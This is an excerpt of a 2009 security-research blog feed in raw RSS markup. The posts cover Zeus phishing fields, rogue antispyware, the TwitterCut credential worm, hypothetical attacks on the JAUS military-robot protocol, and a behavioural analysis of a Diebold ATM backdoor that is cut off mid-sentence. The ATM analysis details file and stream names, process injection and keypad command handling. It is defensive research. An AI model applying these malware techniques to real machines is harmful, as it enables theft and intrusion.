/&gt;&lt;li&gt;Your favorite TV show?&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Your favorite flower?&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Your favorite leisure time activity?&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Your favorite type of music?&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Your favorite professional football team?&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Your favorite professional baseball team?&lt;/li&gt;&lt;br /&gt;&lt;li&gt;The color of your first car?&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Your favorite holiday?&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Your favorite place to vacation?&lt;/li&gt;&lt;br /&gt;&lt;li&gt;In which month were your parents married?&lt;/li&gt;&lt;br /&gt;&lt;li&gt;What is the first letter of the name of your high school?&lt;/li&gt;&lt;br /&gt;&lt;li&gt;What is the first letter of the name of your pet?&lt;/li&gt;&lt;br /&gt;&lt;li&gt;In which month was your first child born?&lt;/li&gt;&lt;br /&gt;&lt;li&gt;What was the last two digits of the year of your high school graduation? &lt;/li&gt;&lt;br /&gt;&lt;li&gt;Please enter valid ATM/Debit Card # (CIN)&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Please enter valid PIN&lt;/li&gt;&lt;br /&gt;&lt;li&gt;Please enter valid Last 4 Digits of Social Security or Tax ID #&lt;/li&gt;&lt;br /&gt;&lt;/ul&gt;&lt;br /&gt;&lt;br /&gt;The list goes on, but you get an idea of what an identity theft weapon it is.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Update:&lt;/strong&gt; Thanks to Peter Kosinar and Thorsten Holz for identifying the encryption algorithm above as RC4.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7283598531036801098-6031885140996671783?l=blog.threatexpert.com' alt='' /&gt;&lt;/div&gt;</description><link>http://blog.threatexpert.com/2009/09/time-to-revisit-zeus-almighty.html</link><author>noreply@blogger.com (Sergei Shevchenko)</author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_teq8tr511YQ/SrGa6Mb4HeI/AAAAAAAAA3Q/3sDFXILm36M/s72-c/olly.png' height='72' width='72'/></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-7283598531036801098.post-2262501645497005434</guid><pubDate>Tue, 21 Jul 2009 10:51:00 +0000</pubDate><atom:updated>2009-07-21T03:52:56.076-07:00</atom:updated><category domain='http://www.blogger.com/atom/ns#'>Hot Topics Lead To Malware</category><title>Hot Topics Lead To Malware</title><description>&lt;a href="http://www.google.com/trends" target="_blank"&gt;Google Trends&lt;/a&gt; seems to be a nice reference tool for the attackers to know which hot topics currently generate the maximum of public interest - a compass that leads them to the victims.&lt;br /&gt;&lt;br /&gt;Here is another example of how a randomly picked up hot topic (today it was "Chris Brown Apology Video") predictably leads to &lt;a href="http://www.threatexpert.com/report.aspx?md5=1172c87693db49c62618516cc1f46d60" target="_blank"&gt;rogue antispyware&lt;/a&gt; installations.&lt;br /&gt;&lt;br /&gt;&lt;embed src="http://threatexpert.com/blog/hottopic/video1.swf" bgcolor="#FFFFFF" menu="false" quality="high" type="application/x-shockwave-flash" width="642" height="524" pluginspage="http://www.macromedia.com/go/getflashplayer/"&gt;&lt;/embed&gt;&lt;br /&gt;&lt;br /&gt;The cyber crooks behind this malware seem to be catching fish on a naked hook; until the fish gets smarter, they'll probably stick to these cheap tricks for awhile.&lt;br/&gt;&lt;br/&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7283598531036801098-2262501645497005434?l=blog.threatexpert.com' alt='' /&gt;&lt;/div&gt;</description><link>http://blog.threatexpert.com/2009/07/hot-topics-lead-to-malware.html</link><author>noreply@blogger.com (Sergei Shevchenko)</author></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-7283598531036801098.post-2759578689679931683</guid><pubDate>Mon, 15 Jun 2009 01:06:00 +0000</pubDate><atom:updated>2009-06-14T18:17:38.266-07:00</atom:updated><title>Windows 7 Wrappers</title><description>Following &lt;a target="_blank" href="http://news.softpedia.com/news/Pirated-Trojan-Infested-Windows-7-RC-Builds-Botnet-111445.shtml"&gt;reports&lt;/a&gt; about pirated Trojan-Infested Windows 7 Builds, it is quite interesting to see what wrappers are used at the "crack stores" to lure as many people as possible. Some of these wrappers look pretty hilarious:&lt;br /&gt;&lt;br /&gt;&lt;a target="_blank"  onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_teq8tr511YQ/SjWfEfkC1mI/AAAAAAAAA2A/XdVj_pn_9QE/s1600-h/w7_5.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 309px;" src="http://3.bp.blogspot.com/_teq8tr511YQ/SjWfEfkC1mI/AAAAAAAAA2A/XdVj_pn_9QE/s400/w7_5.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5347355032113305186" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a target="_blank" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_teq8tr511YQ/SjWe8neFv_I/AAAAAAAAA1w/EUPlp4137V0/s1600-h/w7_3.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 232px;" src="http://3.bp.blogspot.com/_teq8tr511YQ/SjWe8neFv_I/AAAAAAAAA1w/EUPlp4137V0/s400/w7_3.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5347354896796860402" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a target="_blank" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_teq8tr511YQ/SjWeyF34GTI/AAAAAAAAA1g/rbOF8LPraaw/s1600-h/w7_1.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 244px;" src="http://4.bp.blogspot.com/_teq8tr511YQ/SjWeyF34GTI/AAAAAAAAA1g/rbOF8LPraaw/s400/w7_1.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5347354715979520306" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a target="_blank"  onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_teq8tr511YQ/SjWe5SnMlLI/AAAAAAAAA1o/37p_yLM9WDQ/s1600-h/w7_2.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 242px;" src="http://1.bp.blogspot.com/_teq8tr511YQ/SjWe5SnMlLI/AAAAAAAAA1o/37p_yLM9WDQ/s400/w7_2.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5347354839658304690" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a target="_blank"  onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_teq8tr511YQ/SjWfA4Nxi5I/AAAAAAAAA14/DcpCgkKcvz0/s1600-h/w7_4.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 232px;" src="http://4.bp.blogspot.com/_teq8tr511YQ/SjWfA4Nxi5I/AAAAAAAAA14/DcpCgkKcvz0/s400/w7_4.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5347354970011306898" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7283598531036801098-2759578689679931683?l=blog.threatexpert.com' alt='' /&gt;&lt;/div&gt;</description><link>http://blog.threatexpert.com/2009/06/windows-7-wrappers.html</link><author>noreply@blogger.com (Sergei Shevchenko)</author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_teq8tr511YQ/SjWfEfkC1mI/AAAAAAAAA2A/XdVj_pn_9QE/s72-c/w7_5.jpg' height='72' width='72'/></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-7283598531036801098.post-2453311186355690636</guid><pubDate>Wed, 27 May 2009 03:00:00 +0000</pubDate><atom:updated>2009-05-26T22:40:36.443-07:00</atom:updated><category domain='http://www.blogger.com/atom/ns#'>Twitter scam worm TwitterCut Jordan Embry</category><title>Cashing-up on Twitter</title><description>An interesting exploitation of the popular micro-blogging service &lt;a href="https://www.twitter.com" target="_blank"&gt;Twitter&lt;/a&gt; has been &lt;a href="http://www.techcrunch.com/2009/05/26/warning-twittercut-worm-plays-on-peoples-desire-for-more-followers/" target="_blank"&gt;reported&lt;/a&gt; a few hours ago.&lt;br /&gt;&lt;br /&gt;A bogus website - TwitterCut.com - has been set up to collect users' login details for Twitter. Once the website receives the login details from Twitter users, it apparently uses these details to authenticate them with Twitter and post messages (tweets) under the credentials of these users.&lt;br /&gt;&lt;br /&gt;The message it posts contains the link to TwitterCut.com and reads: &lt;em&gt;"OMG I just got over 1000 followers today from http://twittercut.com"&lt;/em&gt;. Once this message is posted into Twitter under the credentials of the compromised user, all the followers of that user will automatically receive that tweet.&lt;br /&gt;&lt;br /&gt;If the followers click the link contained in the tweet they receive, they'll be redirected to TwitterCut.com where they'll be suggested to enter their own login credentials, which in turn will generate more tweets. With every new user tricked, the tweet is submitted to more and more followers so that it expands exponentially in a similar way to a "chain letter" scam or a typical worm infection.&lt;br /&gt;&lt;br /&gt;On top of that, every Twitter user who enters her login details at TwitterCut.com will also be unwillingly redirected into the websites serving adware, thus generating the revenue for the author of this worm with every unique visit. The advertising context can potentially be replaced with the sites serving malware, so it's clearly a security issue.&lt;br /&gt;&lt;br /&gt;The scheme of this scam is illustrated below:&lt;br /&gt;&lt;br /&gt;&lt;a target="_blank" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_teq8tr511YQ/ShzSNIlkuuI/AAAAAAAAA08/bSZNjtTWFns/s1600-h/twitschema.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 178px;" src="http://3.bp.blogspot.com/_teq8tr511YQ/ShzSNIlkuuI/AAAAAAAAA08/bSZNjtTWFns/s400/twitschema.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5340374381239778018" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;The replication seem to have started from a Twitter user JordanEmbry. The same person appear to have registered TwitterCut.com. Twitter has deactivated JordanEmbry account, but Google &lt;a href="http://74.125.153.132/search?q=cache:O4gkI2MkJoQJ:twitter.com/JordanEmbry+jordan+embry&amp;cd=2&amp;hl=en&amp;ct=clnk" target="_blank"&gt;cache&lt;/a&gt; still reveals the profile and some recent tweets.&lt;br /&gt;&lt;br /&gt;The biography field reads: &lt;em&gt;"--!*FOLLOW ME*!-- as soon as I reach 20,000 followers Im opening a site you will love!"&lt;/em&gt;. The profile shows that JordanEmbry had 250 Twitter users who have agreed to become the followers - all of them must have received the first-generation tweet to start up its replication.&lt;br /&gt;&lt;br /&gt;Once these followers have received the first tweet and followed the bogus website to enter their details, their own followers should have received the same tweet, then the followers of the followers, and so on.&lt;br /&gt;&lt;br /&gt;&lt;a target="_blank" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_teq8tr511YQ/Shyz7Fj4kQI/AAAAAAAAA0s/oQYHOFDCNi8/s1600-h/je.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 200px; height: 160px;" src="http://3.bp.blogspot.com/_teq8tr511YQ/Shyz7Fj4kQI/AAAAAAAAA0s/oQYHOFDCNi8/s200/je.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5340341085840904450" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;TwitterCut.com hosts a small script that traces the visits to the website. At this time of writing the online &lt;a target="_blank" href="http://extremetracking.com/open?login=twitterc" target="_blank"&gt;statistics&lt;/a&gt; shows that during the 4 days it exists TwitterCut.com has already attracted over 13,000 visits in the last 2 days.&lt;br /&gt;&lt;br /&gt;If you did receive the scam tweet in your personal Twitter profile, it means that someone from the Twitter users who you follow has been tricked into entering the login details at TwitterCut.com. All these users can be seen by &lt;a target="_blank" href="http://search.twitter.com/search?q=OMG%2BI%2Bjust%2Bgot%2Bover%2B1000%2Bfollowers%2Btoday%2Bfrom%2Bhttp%3A%2F%2Ftwittercut.com" target="_blank"&gt;finding&lt;/a&gt; the scam tweet that was posted under their credentials.&lt;br /&gt;&lt;br /&gt;The affected users are advised to change their Twitter account password immediately. Otherwise, the collected credentials can potentially be used many times again to send more impersonated tweets with the links to websites with more dangerous contents.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7283598531036801098-2453311186355690636?l=blog.threatexpert.com' alt='' /&gt;&lt;/div&gt;</description><link>http://blog.threatexpert.com/2009/05/cashing-up-on-twitter.html</link><author>noreply@blogger.com (Sergei Shevchenko)</author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_teq8tr511YQ/ShzSNIlkuuI/AAAAAAAAA08/bSZNjtTWFns/s72-c/twitschema.jpg' height='72' width='72'/></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-7283598531036801098.post-6889357129140394915</guid><pubDate>Thu, 07 May 2009 08:17:00 +0000</pubDate><atom:updated>2009-05-09T13:29:03.155-07:00</atom:updated><category domain='http://www.blogger.com/atom/ns#'>MAARS combat robot exploit JAUS</category><title>Pwned UxV</title><description>Peter Singer, a leading US defense analyst, who headed Barack Obama's defense policy team during last year's presidential campaign, &lt;a href="http://www.smh.com.au/world/wired-for-war--robot-soldiers-more-fact-than-fiction-20090506-aveq.html" target="_blank"&gt;believes&lt;/a&gt; that the world is on the brink of a "robotics revolution" in military combat that will have profound social, psychological, political and ethical effects.&lt;br /&gt;&lt;br /&gt;The US had invaded Iraq in 2003 with just over a handful of unmanned aerial drones, and no unmanned ground vehicles, he said. Today it used more than 7,000 drones in the air, and more than 12,000 unmanned ground vehicles capable of combat.&lt;br /&gt;&lt;br /&gt;Their use in warfare was a massive development in human history, he &lt;a href="http://www.lowyinterpreter.org/post/2009/05/The-10-minute-Lowy-Lunch-Robots-at-war.aspx" target="_blank"&gt;told&lt;/a&gt; the Lowy Institute in Sydney, via videolink from Washington.&lt;br /&gt;&lt;br /&gt;The use of robots in the war zone is not spontaneous – it is in fact &lt;a href="http://frwebgate.access.gpo.gov/cgi-bin/getdoc.cgi?dbname=106_cong_public_laws&amp;docid=f:publ398.106.pdf" target="_blank"&gt;mandated&lt;/a&gt; by the US Public Law 106-398 which sets a goal of one-third of all ground combat vehicles to be unmanned by 2015.&lt;br /&gt;&lt;br /&gt;Last year, the first transformer-like armed robot MAARS (Modular Advanced Armed Robotic System) was set to be &lt;a href="http://www.popularmechanics.com/technology/military_law/4230309.html" target="_blank"&gt;deployed&lt;/a&gt; to fire in combat:&lt;br /&gt;&lt;br /&gt;&lt;a target="_blank" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_teq8tr511YQ/SgKdcLgtn0I/AAAAAAAAAzs/orASR6IUTXE/s1600-h/MAARS-web.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 240px; height: 320px;" src="http://2.bp.blogspot.com/_teq8tr511YQ/SgKdcLgtn0I/AAAAAAAAAzs/orASR6IUTXE/s320/MAARS-web.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5332998016211984194" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;"&lt;em&gt;It can be changed from one mission setup to another in short order,&lt;/em&gt;" says Charles Dean, the Foster-Miller company's senior program manager for advanced robots. Operators can alter the machine's treads, drive system, weaponry and even its dimensions.&lt;br /&gt;&lt;br /&gt;"&lt;em&gt;Government has been working with us over the last 18 months to develop and provide an innovative and evolutionary approach to combat situations that address the battlefield of the future,&lt;/em&gt;" &lt;a href="http://www.upi.com/Security_Industry/2008/06/05/Military-receives-new-MAARS-robot/UPI-12831212718000/" target="_blank"&gt;said&lt;/a&gt; Dr. William Ribich, President of the Technology Solutions Group, QinetiQ North America.&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;Security Aspects&lt;/strong&gt;&lt;br /&gt;&lt;br /&gt;Let's have a look at the software architecture that drives MAARS robot.&lt;br /&gt;&lt;br /&gt;Built by &lt;a href="http://www.appliedperception.com/products-surc.htm" target="_blank"&gt;Applied Perception&lt;/a&gt;, part of the QinetiQ North America Technology Solutions Group, the software called Soldier Universal Robot Controller (SURC) enables operators to simultaneously task, monitor, and teleoperate multiple unmanned robots from a single control station.&lt;br /&gt;&lt;br /&gt;Its User Interface can apparently be integrated into a handheld control unit, or as user application running on a notebook, e.g. under Ubuntu Linux, as seen on the image below:&lt;br /&gt;&lt;br /&gt;&lt;a target="_blank" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_teq8tr511YQ/SgKiP4aQDZI/AAAAAAAAAz0/pKj39GRYWBo/s1600-h/surc.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 178px;" src="http://4.bp.blogspot.com/_teq8tr511YQ/SgKiP4aQDZI/AAAAAAAAAz0/pKj39GRYWBo/s320/surc.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5333003302484315538" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;SURC system consists of several elements that are depicted in the following scheme:&lt;br /&gt;&lt;br /&gt;&lt;a target="_blank" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_teq8tr511YQ/SgKuftUcMCI/AAAAAAAAA0E/BrKH-k81pNI/s1600-h/schema.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 400px; height: 220px;" src="http://3.bp.blogspot.com/_teq8tr511YQ/SgKuftUcMCI/AAAAAAAAA0E/BrKH-k81pNI/s400/schema.png" border="0" alt=""id="BLOGGER_PHOTO_ID_5333016768524595234" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Its core modules are responsible for keeping track of the robots, path and mission planning, and storing data about the existing objects. &lt;br /&gt;&lt;br /&gt;An interesting aspect of this architecture is that SURC plugs into JAUS (spelled as "jaws"), Joint Architecture for Unmanned Ground Systems. SURC's transport component is responsible for interfacing SURC with JAUS.&lt;br /&gt;&lt;br /&gt;JAUS is an open message-passing architecture that unifies multiple computing nodes and provides the means of their inter-communication. It defines the hierarchy structure of the elements (subsystems, nodes, components), defines the standard for the message that is passed from one component to another, and defines other requirements such as mission isolation, platform, hardware, and operator use independence (just like the Web).&lt;br /&gt;&lt;br /&gt;JAUS dictates the use of UDP (User Datagram Protocol) as a communications protocol between the nodes. The messages are packed into JAUS message structure and are handled with the node managers according to the commands specified in these messages. The traffic is forwarded via the port 3794, the "&lt;a href="http://www.jauswg.org/baseline/jausportnumber.html" target="_blank"&gt;JAUS Robots&lt;/a&gt;" port.&lt;br /&gt;&lt;br /&gt;As any other software architecture, it will very likely be a matter of time until JAUS is probed for an unauthorized access. The rule of thumb here is the bigger the target and its importance, the more lucrative it is and thus, the larger incentive and motivation will be there to exploit it. It won't be a question of "how", it will be a question of "when".&lt;br /&gt;&lt;br /&gt;Let's try to imagine for a moment in science fiction terms what attack vectors against JAUS are possible, and what an unauthorized access to it could result in.&lt;br /&gt;&lt;br /&gt;In theory, an interception of traffic between the transport component of SURC and the JAUS platform that connects it with the in-field robots' node managers, can be exploited.&lt;br /&gt;&lt;br /&gt;Firstly, a UDP flood attack may render the whole fleet of robots useless.&lt;br /&gt;&lt;br /&gt;Secondly, an injection of malcrafted packets into the link between SURC and JAUS may potentially change the mission goals, starting from the civil casualties increase, and finishing with hijacking the whole fleet of UxV and then re-recruiting it against the original command centre. This could potentially be exploitable due to the platform, hardware, and operator use independence declared by JAUS open architecture standard.&lt;br /&gt;&lt;br /&gt;Thirdly, JAUS architecture could also potentially be attacked with the malformed exploits transmitted via port 3794, either with the purpose of gaining full administrative control over the node managers or simply causing denial-of-service by crashing their software.&lt;br /&gt;&lt;br /&gt;Of course, these attacks are very unrealistic right now. So the reader should consider these insinuations a pure fantasy. But if the reader thinks for a moment of how many platforms were supposed to be secure by design, but could still easily be exploited; if the velocity of the progress and the scale of attractiveness for the attackers are all accounted, then it might be easier to imagine how in a few years time all robotic machines would have to be patched every Tuesday:&lt;br /&gt;&lt;br /&gt;&lt;a target="_blank" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_teq8tr511YQ/SgKwJf_4CjI/AAAAAAAAA0M/TGVZWwwmRhc/s1600-h/update.gif"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 156px;" src="http://2.bp.blogspot.com/_teq8tr511YQ/SgKwJf_4CjI/AAAAAAAAA0M/TGVZWwwmRhc/s320/update.gif" border="0" alt=""id="BLOGGER_PHOTO_ID_5333018586014812722" /&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7283598531036801098-6889357129140394915?l=blog.threatexpert.com' alt='' /&gt;&lt;/div&gt;</description><link>http://blog.threatexpert.com/2009/05/pwned-uxv.html</link><author>noreply@blogger.com (Sergei Shevchenko)</author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_teq8tr511YQ/SgKdcLgtn0I/AAAAAAAAAzs/orASR6IUTXE/s72-c/MAARS-web.jpg' height='72' width='72'/></item><item><guid isPermaLink='false'>tag:blogger.com,1999:blog-7283598531036801098.post-4071864081376024125</guid><pubDate>Wed, 18 Mar 2009 07:21:00 +0000</pubDate><atom:updated>2009-03-18T01:18:00.952-07:00</atom:updated><category domain='http://www.blogger.com/atom/ns#'>ATM malware</category><title>The Effect of Credit Crunch on Backdoors</title><description>&lt;br/&gt;In the scope of the current economic situation, it's not uncommon to hear the news how another bank is downsizing its departments and outsourcing its software development.&lt;br /&gt;&lt;br /&gt;The big question is if this practice increases any risk of having the Time Bombs, hard-coded login names and passwords, or simple backdoors concealed in the software by its own developers.&lt;br /&gt;&lt;br /&gt;An interesting piece of software &lt;a href="http://www.sophos.com/security/blog/2009/03/3577.html" target="_blank"&gt;spotted&lt;/a&gt; by Vanja Svajcer from Sophos proves it does.&lt;br /&gt;&lt;br /&gt;While it is not entirely clear (no evidence) how this software penetrated on an ATM, an educational guess is that it was implanted by someone who knew the architecture and had direct physical access to the Diebold ATM hardware and software. A privileged insider, who either wanted extra security in the times of hardship by having unlimited access to cash, or maybe planned to rob the banks in one large-scale distributed attack.&lt;br /&gt;&lt;br /&gt;&lt;a target="_blank" onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_teq8tr511YQ/ScCkVoQr1SI/AAAAAAAAAzU/s69NDA0wreI/s1600-h/diebold.jpg"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 302px; height: 320px;" src="http://4.bp.blogspot.com/_teq8tr511YQ/ScCkVoQr1SI/AAAAAAAAAzU/s69NDA0wreI/s320/diebold.jpg" border="0" alt=""id="BLOGGER_PHOTO_ID_5314428251788793122" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Anyway, the backdoor heavily conceals its presence under ATM. Why? Most likely, in order to stay undetected during the audit checks.&lt;br /&gt;&lt;br /&gt;The backdoor consists of the dropper and the dropped component.&lt;br /&gt;&lt;br /&gt;If the ATM's filesystem is NTFS, the dropper will create 2 alternative data streams:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:Courier New;font-size:2;color:#404040"&gt;%windir%\greenstone.bmp:redstone.bmp&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:Courier New;font-size:2;color:#404040"&gt;%windir%\greenstone.bmp:bluestone.bmp&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Otherwise, it will create 2 files:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:Courier New;font-size:2;color:#404040"&gt;%windir%\redstone.bmp&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:Courier New;font-size:2;color:#404040"&gt;%windir%\bluestone.bmp&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;These ADS/files are created from these copies of the files, if they are found in the system:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:Courier New;font-size:2;color:#404040"&gt;%windir%\trl2&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:Courier New;font-size:2;color:#404040"&gt;%windir%\kl&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The dropper then adjusts its own privilege to the level of SeDebugPrivilege and takes 50 attempts to terminate the process &lt;span style="font-family:Courier New;font-size:2;color:#404040"&gt;lsass.exe&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;The backdoor installs itself the following way: &lt;br /&gt;&lt;ul&gt;&lt;br /&gt;&lt;li&gt;retrieves the fully qualified path to the binary file of the system service "LogWriter"&lt;/li&gt;&lt;br /&gt;&lt;li&gt;stops system service "LogWriter"&lt;/li&gt;&lt;br /&gt;&lt;li&gt;appends to that name ":", followed by &lt;span style="font-family:Courier New;font-size:2;color:#404040"&gt;pwrstr.dll&lt;/span&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;drops its own resource PACKAGEINFO into the alternative data stream &lt;span style="font-family:Courier New;font-size:2;color:#404040"&gt;[LogWriter_binary_filename]:pwrstr.dll&lt;/span&gt;&lt;/li&gt;&lt;br /&gt;&lt;li&gt;starts system service "LogWriter" – this will launch the dropped DLL from the newly specified ADS name&lt;/li&gt;&lt;br /&gt;&lt;/ul&gt;&lt;br /&gt;Finally, the dropper will inject and run a remote thread in the process &lt;span style="font-family:Courier New;font-size:2;color:#404040"&gt;explorer.exe&lt;/span&gt;, a thread that enumerates and deletes all Windows Prefetch files.&lt;br /&gt;&lt;br /&gt;Once activates, the dropped DLL will injects 2 threads: one will be injected into the process &lt;span style="font-family:Courier New;font-size:2;color:#404040"&gt;mu.exe&lt;/span&gt;, another one - into the process &lt;span style="font-family:Courier New;font-size:2;color:#404040"&gt;SpiService.exe&lt;/span&gt;, a main service ("Diebold XFS Service") of the proprietary software that runs on Diebold ATMs. These threads will be responsible for inter-process communication with the Diebold driver via the named pipe &lt;span style="font-family:Courier New;font-size:2;color:#404040"&gt;"\\.\pipe\lsndbd"&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;Another thread will start repeatedly calling an API &lt;span style="font-family:Courier New;font-size:2;color:#404040"&gt;SQReceiveFromServer()&lt;/span&gt;, exported by sharedq.dll, once per second. The contents of the buffer filled with this function will then be parsed for the presence of the tags &lt;span style="font-family:Courier New;font-size:2;color:#404040"&gt;"TCS,"&lt;/span&gt; and &lt;span style="font-family:Courier New;font-size:2;color:#404040"&gt;"HST,"&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;If any values specified in those tags are split with the delimiter ";", the thread will extract and log them into the ADS &lt;span style="font-family:Courier New;font-size:2;color:#404040"&gt;%windir%\greenstone.bmp:redstone.bmp&lt;/span&gt; on NTFS system, or file &lt;span style="font-family:Courier New;font-size:2;color:#404040"&gt;%windir%\redstone.bmp&lt;/span&gt; on non-NTFS system.&lt;br /&gt;&lt;br /&gt;If the tag &lt;span style="font-family:Courier New;font-size:2;color:#404040"&gt;"TCS,"&lt;/span&gt; means "transactions" and &lt;span style="font-family:Courier New;font-size:2;color:#404040"&gt;"HST,"&lt;/span&gt; means "history", the backdoor may be collecting the details of user transactions in the aforementioned file.&lt;br /&gt;&lt;br /&gt;In case the transaction parsing process detects particular contents, presumably unique to the attacker of the ATM, the backdoor will enter GUI mode that will grant an attacker full access to the backdoor. In this case, it will display on ATM screen a dialog box with the caption &lt;em&gt;"Agent"&lt;/em&gt; and a prompt &lt;em&gt;"Enter command:"&lt;/em&gt;, and instruct the Diebold driver to activate the keypad and read the input via a series of commands issued with &lt;span style="font-family:Courier New;font-size:2;color:#404040"&gt;DbdDevExecute()&lt;/span&gt; API, exported by DbdDevAPI.dll. For example, the driver will receive commands: &lt;span style="font-family:Courier New;font-size:2;color:#404040"&gt;EPP4_ENCODE_DECODE&lt;/span&gt;, &lt;span style="font-family:Courier New;font-size:2;color:#404040"&gt;EPP4_ENABLE_KEYBOARD_READ&lt;/span&gt;.&lt;br /&gt;&lt;br /&gt;An attacker then provides one out of 10 possible commands by entering a number on an ATM keypad. Every command causes the backdoor to take specific action.&lt;br /&gt;&lt;br /&gt;For example, command "2" will instruct the backdoor to read the version of the installed Diebold software from the registry keys:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:Courier New;font-size:2;color:#404040"&gt;HKLM\SOFTWARE\Diebold\Agilis 91x Core&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:Courier New;font-size:2;color:#404040"&gt;HKLM\SOFTWARE\Diebold\Agilis 91x&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Then, this command will read the contents of the temporary files/ADS &lt;span style="font-family:Courier New;font-size:2;color:#404040"&gt;redstone.bmp&lt;/span&gt; and &lt;span style="font-family:Courier New;font-size:2;color:#404040"&gt;bluestone.bmp&lt;/span&gt;, and parse the transaction details from these logs. Finally, it will show a message box with the collected statistics for the attacker in the following form:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:Courier 